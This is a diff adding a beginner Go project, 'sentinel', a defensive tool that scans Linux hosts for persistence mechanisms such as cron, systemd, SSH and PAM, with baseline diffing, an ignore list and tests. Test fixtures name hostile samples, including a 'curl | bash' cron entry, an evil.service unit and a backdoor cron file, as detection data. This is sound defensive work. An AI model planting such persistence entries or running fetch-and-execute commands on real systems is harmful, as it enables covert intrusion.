+  Summary: 1 critical 1 high 1 medium 0 low 4 info
+```
+
+## Scanners
+
+| Scanner | MITRE Technique | What It Checks |
+|---------|----------------|----------------|
+| systemd | T1543.002, T1053.006 | Service/timer units, ExecStart directives, drop-in overrides |
+| cron | T1053.003 | System/user crontabs, cron.d, periodic directories, anacron |
+| profile | T1546.004 | Shell RC files, /etc/profile.d, bashrc/zshrc injections |
+| ssh | T1098.004 | authorized_keys options, sshd_config, SSH rc scripts |
+| ld_preload | T1574.006 | /etc/ld.so.preload, ld.so.conf.d, /etc/environment |
+| kernel | T1547.006 | modules-load.d, modprobe.d install hooks |
+| udev | T1546 | Udev rules with RUN+= directives |
+| initd | T1037.004 | Init.d scripts, rc.local content |
+| xdg | T1547.013 | XDG autostart .desktop files |
+| atjob | T1053.001 | Pending at job spool |
+| motd | T1546 | update-motd.d login scripts |
+| pam | T1556.003 | PAM configs, pam_exec.so, pam_permit.so in auth |
+
+## Learn
+
+This project includes step-by-step learning materials covering persistence techniques, detection engineering, and implementation details.
+
+| Module | Topic |
+|--------|-------|
+| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start |
+| [01 - Concepts](learn/01-CONCEPTS.md) | Linux persistence and MITRE ATT&CK |
+| [02 - Architecture](learn/02-ARCHITECTURE.md) | System design and data flow |
+| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough |
+| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises |
+
+## License
+
+AGPL 3.0

PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go

@@ -0,0 +1,17 @@
+/*
+©AngelaMos | 2026
+main.go
+
+Entry point for the sentinel CLI
+*/
+
+package main
+
+import (
+	"github.com/CarterPerez-dev/sentinel/internal/cli"
+	_ "github.com/CarterPerez-dev/sentinel/internal/scanner"
+)
+
+func main() {
+	cli.Execute()
+}

PROJECTS/beginner/systemd-persistence-scanner/go.mod

@@ -0,0 +1,17 @@
+module github.com/CarterPerez-dev/sentinel
+
+go 1.25.0
+
+require (
+	github.com/fatih/color v1.19.0
+	github.com/spf13/cobra v1.10.2
+)
+
+require (
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/mattn/go-colorable v0.1.14 // indirect
+	github.com/mattn/go-isatty v0.0.20 // indirect
+	github.com/spf13/pflag v1.0.9 // indirect
+	golang.org/x/sync v0.20.0 // indirect
+	golang.org/x/sys v0.42.0 // indirect
+)

PROJECTS/beginner/systemd-persistence-scanner/go.sum

@@ -0,0 +1,21 @@
+github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
+github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w=
+github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
+github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
+github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
+github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
+github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
+github.com/spf13/pflag v1.0.9 h1:9exaQaMOCwffKiiiYk6/BndUBv+iRViNW+4lEMi0PvY=
+github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
+golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
+golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
+golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=

PROJECTS/beginner/systemd-persistence-scanner/install.sh

@@ -0,0 +1,76 @@
+#!/usr/bin/env bash
+# ©AngelaMos | 2026
+# install.sh
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+CYAN='\033[0;36m'
+DIM='\033[2m'
+NC='\033[0m'
+
+info()  { printf "${CYAN}▸${NC} %s\n" "$1"; }
+ok()    { printf "${GREEN}✓${NC} %s\n" "$1"; }
+fail()  { printf "${RED}✗${NC} %s\n" "$1"; exit 1; }
+
+MIN_GO="1.25"
+
+check_go() {
+    if ! command -v go &>/dev/null; then
+        fail "Go is not installed. Get it at https://go.dev/dl/"
+    fi
+
+    local ver
+    ver=$(go version | grep -oP 'go\K[0-9]+\.[0-9]+')
+
+    if ! printf '%s\n%s\n' "$MIN_GO" "$ver" \
+        | sort -V | head -n1 | grep -qx "$MIN_GO"; then
+        fail "Go $MIN_GO+ required (found $ver)"
+    fi
+
+    ok "Go $ver"
+}
+
+check_just() {
+    if command -v just &>/dev/null; then
+        ok "just $(just --version 2>/dev/null | head -1)"
+    else
+        info "just not found (optional). Install: curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin"
+    fi
+}
+
+build() {
+    info "Building sentinel..."
+    go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+    local size
+    size=$(du -h bin/sentinel | cut -f1)
+    ok "Built bin/sentinel ($size)"
+}
+
+run_tests() {
+    info "Running tests..."
+    if go test -race ./... >/dev/null 2>&1; then
+        ok "All tests passed"
+    else
+        fail "Tests failed. Run 'go test -v ./...' for details."
+    fi
+}
+
+main() {
+    printf "\n${CYAN}sentinel${NC} ${DIM}installer${NC}\n\n"
+
+    check_go
+    check_just
+
+    info "Downloading dependencies..."
+    go mod download
+    ok "Dependencies ready"
+
+    build
+    run_tests
+
+    printf "\n${GREEN}Done.${NC} Run ${CYAN}./bin/sentinel scan${NC} to start scanning.\n\n"
+}
+
+main "$@"

PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go

@@ -0,0 +1,89 @@
+/*
+©AngelaMos | 2026
+baseline.go
+
+Baseline snapshot save, load, and diff operations
+
+Saves the current scan findings as a JSON snapshot file. On
+subsequent runs, loads the baseline and computes a diff showing
+only new findings that were not present in the clean snapshot.
+This reduces noise on systems with many legitimate persistence
+entries.
+*/
+
+package baseline
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+type Snapshot struct {
+	Version  string          `json:"version"`
+	Hostname string          `json:"hostname"`
+	Findings []types.Finding `json:"findings"`
+}
+
+func Save(
+	path string, findings []types.Finding, hostname string,
+) error {
+	snap := Snapshot{
+		Version:  types.Version,
+		Hostname: hostname,
+		Findings: findings,
+	}
+
+	data, err := json.MarshalIndent(snap, "", "  ")
+	if err != nil {
+		return fmt.Errorf("marshaling baseline: %w", err)
+	}
+
+	if err := os.WriteFile(
+		path, data, 0o600,
+	); err != nil {
+		return fmt.Errorf("writing baseline: %w", err)
+	}
+
+	return nil
+}
+
+func Load(path string) (Snapshot, error) {
+	data, err := os.ReadFile(path) //nolint:gosec
+	if err != nil {
+		return Snapshot{}, fmt.Errorf(
+			"reading baseline: %w", err,
+		)
+	}
+
+	var snap Snapshot
+	if err := json.Unmarshal(data, &snap); err != nil {
+		return Snapshot{}, fmt.Errorf(
+			"parsing baseline: %w", err,
+		)
+	}
+	return snap, nil
+}
+
+func Diff(
+	baseline Snapshot, current []types.Finding,
+) []types.Finding {
+	known := make(map[string]bool, len(baseline.Findings))
+	for _, f := range baseline.Findings {
+		known[findingKey(f)] = true
+	}
+
+	var newFindings []types.Finding
+	for _, f := range current {
+		if !known[findingKey(f)] {
+			newFindings = append(newFindings, f)
+		}
+	}
+	return newFindings
+}
+
+func findingKey(f types.Finding) string {
+	return f.Scanner + "|" + f.Path + "|" + f.Title
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go

@@ -0,0 +1,117 @@
+/*
+©AngelaMos | 2026
+baseline_test.go
+*/
+
+package baseline
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSaveAndLoad(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "test-baseline.json")
+
+	findings := []types.Finding{
+		{
+			Scanner:  "cron",
+			Severity: types.SeverityHigh,
+			Title:    "test finding",
+			Path:     "/etc/cron.d/malicious",
+			Evidence: "curl | bash",
+			MITRE:    "T1053.003",
+		},
+	}
+
+	if err := Save(path, findings, "test-host"); err != nil {
+		t.Fatalf("Save failed: %v", err)
+	}
+
+	if _, err := os.Stat(path); err != nil {
+		t.Fatalf("baseline file not created: %v", err)
+	}
+
+	snap, err := Load(path)
+	if err != nil {
+		t.Fatalf("Load failed: %v", err)
+	}
+
+	if snap.Hostname != "test-host" {
+		t.Errorf(
+			"hostname = %q, want %q",
+			snap.Hostname, "test-host",
+		)
+	}
+
+	if len(snap.Findings) != 1 {
+		t.Fatalf(
+			"findings count = %d, want 1",
+			len(snap.Findings),
+		)
+	}
+
+	if snap.Findings[0].Title != "test finding" {
+		t.Errorf(
+			"finding title = %q, want %q",
+			snap.Findings[0].Title, "test finding",
+		)
+	}
+}
+
+func TestDiff(t *testing.T) {
+	baselineFindings := []types.Finding{
+		{
+			Scanner: "cron",
+			Title:   "known finding",
+			Path:    "/etc/cron.d/legit",
+		},
+		{
+			Scanner: "systemd",
+			Title:   "known service",
+			Path:    "/etc/systemd/system/app.service",
+		},
+	}
+
+	snap := Snapshot{
+		Version:  "1.0.0",
+		Findings: baselineFindings,
+	}
+
+	current := []types.Finding{
+		{
+			Scanner: "cron",
+			Title:   "known finding",
+			Path:    "/etc/cron.d/legit",
+		},
+		{
+			Scanner: "systemd",
+			Title:   "known service",
+			Path:    "/etc/systemd/system/app.service",
+		},
+		{
+			Scanner: "cron",
+			Title:   "new malicious entry",
+			Path:    "/etc/cron.d/backdoor",
+		},
+	}
+
+	newFindings := Diff(snap, current)
+	if len(newFindings) != 1 {
+		t.Fatalf(
+			"diff count = %d, want 1",
+			len(newFindings),
+		)
+	}
+
+	if newFindings[0].Title != "new malicious entry" {
+		t.Errorf(
+			"new finding title = %q, want %q",
+			newFindings[0].Title, "new malicious entry",
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go

@@ -0,0 +1,154 @@
+/*
+©AngelaMos | 2026
+baseline.go
+
+Baseline subcommand for save and diff operations
+
+The save subcommand runs a full scan and saves findings as a JSON
+baseline snapshot. The diff subcommand runs a fresh scan and shows
+only findings that are new since the baseline was taken.
+*/
+
+package cli
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/CarterPerez-dev/sentinel/internal/baseline"
+	"github.com/CarterPerez-dev/sentinel/internal/config"
+	"github.com/CarterPerez-dev/sentinel/internal/report"
+	"github.com/CarterPerez-dev/sentinel/internal/scanner"
+	"github.com/CarterPerez-dev/sentinel/internal/ui"
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var flagBaselinePath string
+
+func init() {
+	baselineCmd.PersistentFlags().StringVar(
+		&flagBaselinePath, "file", "sentinel-baseline.json",
+		"path to baseline snapshot file",
+	)
+	baselineCmd.AddCommand(baselineSaveCmd)
+	baselineCmd.AddCommand(baselineDiffCmd)
+	rootCmd.AddCommand(baselineCmd)
+}
+
+var baselineCmd = &cobra.Command{
+	Use:   "baseline",
+	Short: "Manage baseline snapshots",
+}
+
+var baselineSaveCmd = &cobra.Command{
+	Use:   "save",
+	Short: "Save current state as baseline",
+	RunE:  runBaselineSave,
+}
+
+var baselineDiffCmd = &cobra.Command{
+	Use:   "diff",
+	Short: "Show changes since baseline",
+	RunE:  runBaselineDiff,
+}
+
+func runBaselineSave(_ *cobra.Command, _ []string) error {
+	hostname, err := os.Hostname()
+	if err != nil {
+		hostname = fallbackHostname
+	}
+
+	var sp *ui.Spinner
+	if !flagJSON {
+		sp = ui.NewSpinner("Scanning for baseline...")
+		sp.Start()
+	}
+
+	findings := scanner.RunAll(flagRoot)
+
+	if sp != nil {
+		sp.Stop()
+	}
+
+	if err := baseline.Save(
+		flagBaselinePath, findings, hostname,
+	); err != nil {
+		return err
+	}
+
+	fmt.Printf(
+		"  %s Baseline saved to %s (%d findings)\n\n",
+		ui.GreenBold(ui.Check),
+		ui.Cyan(flagBaselinePath),
+		len(findings),
+	)
+	return nil
+}
+
+func runBaselineDiff(_ *cobra.Command, _ []string) error {
+	snap, err := baseline.Load(flagBaselinePath)
+	if err != nil {
+		return fmt.Errorf(
+			"load baseline %s: %w",
+			flagBaselinePath, err,
+		)
+	}
+
+	hostname, err := os.Hostname()
+	if err != nil {
+		hostname = fallbackHostname
+	}
+	minSev := types.ParseSeverity(flagMinSeverity)
+
+	var sp *ui.Spinner
+	if !flagJSON {
+		sp = ui.NewSpinner("Scanning and comparing to baseline...")
+		sp.Start()
+	}
+
+	start := time.Now()
+	current := scanner.RunAll(flagRoot)
+	duration := time.Since(start)
+
+	if sp != nil {
+		sp.Stop()
+	}
+
+	ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
+	if err != nil {
+		return err
+	}
+
+	newFindings := baseline.Diff(snap, current)
+	newFindings = ignoreList.Filter(newFindings)
+	filtered := filterBySeverity(newFindings, minSev)
+
+	result := types.ScanResult{
+		Version:    types.Version,
+		ScanTime:   start,
+		Hostname:   hostname,
+		Findings:   filtered,
+		Summary:    types.Tally(filtered),
+		DurationMs: duration.Milliseconds(),
+	}
+
+	if !flagJSON {
+		fmt.Printf(
+			"  %s Baseline: %d known %s New: %d findings\n\n",
+			ui.CyanBold(ui.Diamond),
+			len(snap.Findings),
+			ui.Dim("|"),
+			len(filtered),
+		)
+	}
+
+	if flagJSON {
+		return report.PrintJSON(result)
+	}
+
+	report.PrintTerminal(result)
+	return nil
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go

@@ -0,0 +1,90 @@
+/*
+©AngelaMos | 2026
+root.go
+
+Root cobra command and global flag definitions
+
+Defines the sentinel root command with persistent flags for JSON
+output, minimum severity filtering, verbose mode, and custom scan
+root. Subcommands are attached in their respective init functions.
+*/
+
+package cli
+
+import (
+	"log/slog"
+	"os"
+
+	"github.com/spf13/cobra"
+
+	"github.com/CarterPerez-dev/sentinel/internal/ui"
+)
+
+const fallbackHostname = "unknown"
+
+var (
+	flagJSON        bool
+	flagMinSeverity string
+	flagVerbose     bool
+	flagRoot        string
+	flagIgnoreFile  string
+)
+
+var rootCmd = &cobra.Command{
+	Use:   "sentinel",
+	Short: "Linux persistence mechanism scanner",
+	Long: `sentinel scans a Linux system for persistence mechanisms
+across systemd, cron, shell profiles, SSH, LD_PRELOAD,
+kernel modules, udev rules, init.d, XDG autostart, at jobs,
+MOTD scripts, and PAM modules.`,
+	PersistentPreRun: func(
+		cmd *cobra.Command, args []string,
+	) {
+		configureLogging()
+		if !flagJSON {
+			ui.PrintBanner()
+		}
+	},
+}
+
+func configureLogging() {
+	level := slog.LevelWarn
+	if flagVerbose {
+		level = slog.LevelDebug
+	}
+
+	handler := slog.NewTextHandler(
+		os.Stderr,
+		&slog.HandlerOptions{Level: level},
+	)
+	slog.SetDefault(slog.New(handler))
+}
+
+func init() {
+	rootCmd.PersistentFlags().BoolVar(
+		&flagJSON, "json", false,
+		"output results as JSON",
+	)
+	rootCmd.PersistentFlags().StringVar(
+		&flagMinSeverity, "min-severity", "info",
+		"minimum severity to report (info|low|medium|high|critical)",
+	)
+	rootCmd.PersistentFlags().BoolVar(
+		&flagVerbose, "verbose", false,
+		"enable verbose logging",
+	)
+	rootCmd.PersistentFlags().StringVar(
+		&flagRoot, "root", "/",
+		"filesystem root to scan (for testing or chroot)",
+	)
+	rootCmd.PersistentFlags().StringVar(
+		&flagIgnoreFile, "ignore-file", "",
+		"path to .sentinel-ignore.yml for suppressing findings",
+	)
+}
+
+func Execute() {
+	if err := rootCmd.Execute(); err != nil {
+		os.Exit(1)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go

@@ -0,0 +1,110 @@
+/*
+©AngelaMos | 2026
+scan.go
+
+Scan subcommand that runs all persistence scanners
+
+Executes every registered scanner against the target root, filters
+findings by minimum severity, tallies results, and renders output
+in terminal or JSON format.
+*/
+
+package cli
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/CarterPerez-dev/sentinel/internal/config"
+	"github.com/CarterPerez-dev/sentinel/internal/report"
+	"github.com/CarterPerez-dev/sentinel/internal/scanner"
+	"github.com/CarterPerez-dev/sentinel/internal/ui"
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func init() {
+	rootCmd.AddCommand(scanCmd)
+}
+
+var scanCmd = &cobra.Command{
+	Use:   "scan",
+	Short: "Scan for persistence mechanisms",
+	RunE:  runScan,
+}
+
+func runScan(cmd *cobra.Command, _ []string) error {
+	minSev := types.ParseSeverity(flagMinSeverity)
+	hostname, err := os.Hostname()
+	if err != nil {
+		hostname = fallbackHostname
+	}
+
+	ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
+	if err != nil {
+		return err
+	}
+
+	var sp *ui.Spinner
+	if !flagJSON {
+		sp = ui.NewSpinner("Scanning persistence mechanisms...")
+		sp.Start()
+	}
+
+	start := time.Now()
+	findings := scanner.RunAll(flagRoot)
+	duration := time.Since(start)
+
+	if sp != nil {
+		sp.Stop()
+	}
+
+	findings = ignoreList.Filter(findings)
+	filtered := filterBySeverity(findings, minSev)
+
+	result := types.ScanResult{
+		Version:    types.Version,
+		ScanTime:   start,
+		Hostname:   hostname,
+		Findings:   filtered,
+		Summary:    types.Tally(filtered),
+		DurationMs: duration.Milliseconds(),
+	}
+
+	if flagJSON {
+		return report.PrintJSON(result)
+	}
+
+	scannerNames := make([]string, 0, len(scanner.All()))
+	for _, s := range scanner.All() {
+		scannerNames = append(scannerNames, s.Name())
+	}
+
+	fmt.Printf(
+		"  %s Scanned %d modules across %s\n\n",
+		ui.GreenBold(ui.Check),
+		len(scannerNames),
+		flagRoot,
+	)
+
+	report.PrintTerminal(result)
+	return nil
+}
+
+func filterBySeverity(
+	findings []types.Finding, min types.Severity,
+) []types.Finding {
+	if min == types.SeverityInfo {
+		return findings
+	}
+
+	var filtered []types.Finding
+	for _, f := range findings {
+		if f.Severity >= min {
+			filtered = append(filtered, f)
+		}
+	}
+	return filtered
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go

@@ -0,0 +1,151 @@
+/*
+©AngelaMos | 2026
+config.go
+
+Ignore-list configuration for suppressing known-good findings
+
+Loads a YAML ignore file that specifies findings to suppress by
+path, scanner name, title, or combinations thereof. Reduces noise
+on systems with many legitimate persistence entries.
+*/
+
+package config
+
+import (
+	"fmt"
+	"os"
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+type IgnoreRule struct {
+	Path    string
+	Scanner string
+	Title   string
+}
+
+type IgnoreList struct {
+	Rules []IgnoreRule
+}
+
+func LoadIgnoreFile(path string) (IgnoreList, error) {
+	if path == "" {
+		return IgnoreList{}, nil
+	}
+
+	data, err := os.ReadFile(path) //nolint:gosec
+	if err != nil {
+		return IgnoreList{}, fmt.Errorf(
+			"reading ignore file: %w", err,
+		)
+	}
+
+	return parseIgnoreFile(data)
+}
+
+func parseIgnoreFile(data []byte) (IgnoreList, error) {
+	var list IgnoreList
+	var current IgnoreRule
+	inIgnore := false
+
+	for _, rawLine := range strings.Split(string(data), "\n") {
+		line := strings.TrimSpace(rawLine)
+
+		if line == "" || strings.HasPrefix(line, "#") {
+			continue
+		}
+
+		if line == "ignore:" {
+			inIgnore = true
+			continue
+		}
+
+		if !inIgnore {
+			continue
+		}
+
+		if strings.HasPrefix(line, "- ") {
+			list.Rules = appendIfSet(list.Rules, current)
+			current = IgnoreRule{}
+			line = strings.TrimPrefix(line, "- ")
+		} else if !isIndented(line, rawLine) {
+			list.Rules = appendIfSet(list.Rules, current)
+			break
+		}
+
+		parseField(&current, strings.TrimSpace(line))
+	}
+
+	list.Rules = appendIfSet(list.Rules, current)
+	return list, nil
+}
+
+func isIndented(trimmed, raw string) bool {
+	return strings.HasPrefix(trimmed, "  ") ||
+		strings.HasPrefix(raw, "  ")
+}
+
+func appendIfSet(
+	rules []IgnoreRule, r IgnoreRule,
+) []IgnoreRule {
+	if r.Path != "" || r.Scanner != "" || r.Title != "" {
+		return append(rules, r)
+	}
+	return rules
+}
+
+func parseField(rule *IgnoreRule, line string) {
+	key, val, ok := strings.Cut(line, ":")
+	if !ok {
+		return
+	}
+	val = strings.TrimSpace(val)
+
+	switch strings.TrimSpace(key) {
+	case "path":
+		rule.Path = val
+	case "scanner":
+		rule.Scanner = val
+	case "title":
+		rule.Title = val
+	}
+}
+
+func (il IgnoreList) Filter(
+	findings []types.Finding,
+) []types.Finding {
+	if len(il.Rules) == 0 {
+		return findings
+	}
+
+	var kept []types.Finding
+	for _, f := range findings {
+		if !il.matches(f) {
+			kept = append(kept, f)
+		}
+	}
+	return kept
+}
+
+func (il IgnoreList) matches(f types.Finding) bool {
+	for _, r := range il.Rules {
+		if r.matchesFinding(f) {
+			return true
+		}
+	}
+	return false
+}
+
+func (r IgnoreRule) matchesFinding(f types.Finding) bool {
+	if r.Path != "" && f.Path != r.Path {
+		return false
+	}
+	if r.Scanner != "" && f.Scanner != r.Scanner {
+		return false
+	}
+	if r.Title != "" && f.Title != r.Title {
+		return false
+	}
+	return true
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go

@@ -0,0 +1,144 @@
+/*
+©AngelaMos | 2026
+config_test.go
+*/
+
+package config
+
+import (
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestParseIgnoreFile(t *testing.T) {
+	data := []byte(`# Sentinel ignore file
+ignore:
+  - path: /etc/systemd/system/docker.service
+  - scanner: kernel
+    title: Kernel module loaded at boot
+  - path: /etc/cron.d/certbot
+`)
+
+	list, err := parseIgnoreFile(data)
+	if err != nil {
+		t.Fatalf("parseIgnoreFile: %v", err)
+	}
+
+	if len(list.Rules) != 3 {
+		t.Fatalf(
+			"rules count = %d, want 3",
+			len(list.Rules),
+		)
+	}
+
+	if list.Rules[0].Path != "/etc/systemd/system/docker.service" {
+		t.Errorf(
+			"rule[0].Path = %q",
+			list.Rules[0].Path,
+		)
+	}
+
+	if list.Rules[1].Scanner != "kernel" ||
+		list.Rules[1].Title != "Kernel module loaded at boot" {
+		t.Errorf(
+			"rule[1] = %+v",
+			list.Rules[1],
+		)
+	}
+
+	if list.Rules[2].Path != "/etc/cron.d/certbot" {
+		t.Errorf(
+			"rule[2].Path = %q",
+			list.Rules[2].Path,
+		)
+	}
+}
+
+func TestFilter_ByPath(t *testing.T) {
+	list := IgnoreList{
+		Rules: []IgnoreRule{
+			{Path: "/etc/systemd/system/docker.service"},
+		},
+	}
+
+	findings := []types.Finding{
+		{
+			Scanner: "systemd",
+			Path:    "/etc/systemd/system/docker.service",
+			Title:   "some finding",
+		},
+		{
+			Scanner: "systemd",
+			Path:    "/etc/systemd/system/evil.service",
+			Title:   "another finding",
+		},
+	}
+
+	filtered := list.Filter(findings)
+	if len(filtered) != 1 {
+		t.Fatalf(
+			"filtered count = %d, want 1",
+			len(filtered),
+		)
+	}
+	if filtered[0].Path != "/etc/systemd/system/evil.service" {
+		t.Errorf(
+			"remaining finding path = %q",
+			filtered[0].Path,
+		)
+	}
+}
+
+func TestFilter_ByScannerAndTitle(t *testing.T) {
+	list := IgnoreList{
+		Rules: []IgnoreRule{
+			{
+				Scanner: "kernel",
+				Title:   "Kernel module loaded at boot",
+			},
+		},
+	}
+
+	findings := []types.Finding{
+		{
+			Scanner: "kernel",
+			Title:   "Kernel module loaded at boot",
+			Path:    "/etc/modules-load.d/loop.conf",
+		},
+		{
+			Scanner: "kernel",
+			Title:   "Module install hook runs shell command",
+			Path:    "/etc/modprobe.d/evil.conf",
+		},
+	}
+
+	filtered := list.Filter(findings)
+	if len(filtered) != 1 {
+		t.Fatalf(
+			"filtered count = %d, want 1",
+			len(filtered),
+		)
+	}
+	if filtered[0].Title != "Module install hook runs shell command" {
+		t.Errorf(
+			"remaining finding title = %q",
+			filtered[0].Title,
+		)
+	}
+}
+
+func TestFilter_EmptyList(t *testing.T) {
+	list := IgnoreList{}
+	findings := []types.Finding{
+		{Scanner: "cron", Title: "test"},
+	}
+
+	filtered := list.Filter(findings)
+	if len(filtered) != 1 {
+		t.Fatalf(
+			"empty ignore list should not filter: got %d",
+			len(filtered),
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go

@@ -0,0 +1,29 @@
+/*
+©AngelaMos | 2026
+json.go
+
+Structured JSON output formatter for scan results
+
+Serializes the full ScanResult to JSON with indentation for human
+readability. Outputs to stdout for piping into jq, SIEM ingestion,
+or file redirection.
+*/
+
+package report
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func PrintJSON(result types.ScanResult) error {
+	enc := json.NewEncoder(os.Stdout)
+	enc.SetIndent("", "  ")
+	if err := enc.Encode(result); err != nil {
+		return fmt.Errorf("encoding json: %w", err)
+	}
+	return nil
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go

@@ -0,0 +1,107 @@
+/*
+©AngelaMos | 2026
+terminal.go
+
+Color-coded terminal output formatter for scan results
+
+Renders findings grouped by severity with color-coded labels,
+file paths, evidence snippets, and MITRE technique IDs. Prints
+a summary banner with counts per severity level.
+*/
+
+package report
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/CarterPerez-dev/sentinel/internal/ui"
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var severityColor = map[types.Severity]func(
+	a ...any,
+) string{
+	types.SeverityCritical: ui.HiRedBold,
+	types.SeverityHigh:     ui.RedBold,
+	types.SeverityMedium:   ui.YellowBold,
+	types.SeverityLow:      ui.CyanBold,
+	types.SeverityInfo:     ui.Dim,
+}
+
+func PrintTerminal(result types.ScanResult) {
+	findings := result.Findings
+	sort.Slice(findings, func(i, j int) bool {
+		return findings[i].Severity > findings[j].Severity
+	})
+
+	if len(findings) == 0 {
+		fmt.Printf(
+			"  %s No persistence indicators found.\n\n",
+			ui.GreenBold(ui.Check),
+		)
+		printSummary(result)
+		return
+	}
+
+	fmt.Printf("  %s\n\n", ui.Dim(ui.HRule(56)))
+
+	for _, f := range findings {
+		colorFn := severityColor[f.Severity]
+		label := colorFn(
+			fmt.Sprintf("[%s]", f.Severity.Label()),
+		)
+		fmt.Printf("  %s %s\n", label, f.Title)
+		fmt.Printf(
+			"         %s %s\n",
+			ui.Dim("Path:"),
+			ui.Cyan(f.Path),
+		)
+		if f.Evidence != "" {
+			fmt.Printf(
+				"         %s %s\n",
+				ui.Dim("Evidence:"),
+				truncateEvidence(f.Evidence),
+			)
+		}
+		fmt.Printf(
+			"         %s %s\n\n",
+			ui.Dim("MITRE:"),
+			ui.Blue(f.MITRE),
+		)
+	}
+
+	printSummary(result)
+}
+
+func printSummary(result types.ScanResult) {
+	s := result.Summary
+	fmt.Printf("  %s\n", ui.Dim(ui.HRule(56)))
+	fmt.Printf(
+		"  %s %s %s %s %s %s %s %s %s %s\n",
+		ui.Dim("Summary:"),
+		ui.HiRedBold(fmt.Sprintf("%d", s.Critical)),
+		ui.Dim("critical"),
+		ui.RedBold(fmt.Sprintf("%d", s.High)),
+		ui.Dim("high"),
+		ui.YellowBold(fmt.Sprintf("%d", s.Medium)),
+		ui.Dim("medium"),
+		ui.CyanBold(fmt.Sprintf("%d", s.Low)),
+		ui.Dim("low"),
+		ui.Dim(fmt.Sprintf("%d info", s.Info)),
+	)
+	fmt.Printf(
+		"  %s Completed in %dms\n\n",
+		ui.Dim(ui.Timer),
+		result.DurationMs,
+	)
+}
+
+const maxEvidenceLen = 100
+
+func truncateEvidence(s string) string {
+	if len(s) <= maxEvidenceLen {
+		return s
+	}
+	return s[:maxEvidenceLen] + "..."
+}

